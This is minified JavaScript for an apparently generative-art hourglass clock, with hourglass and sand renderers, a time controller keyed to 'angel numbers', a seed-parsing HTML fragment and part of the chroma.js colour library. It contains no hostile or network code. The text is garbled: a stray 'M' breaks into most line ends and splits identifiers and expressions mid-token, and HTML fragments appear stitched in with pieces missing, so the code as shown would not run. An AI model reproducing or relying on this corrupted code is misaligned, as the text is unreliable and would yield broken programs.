.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
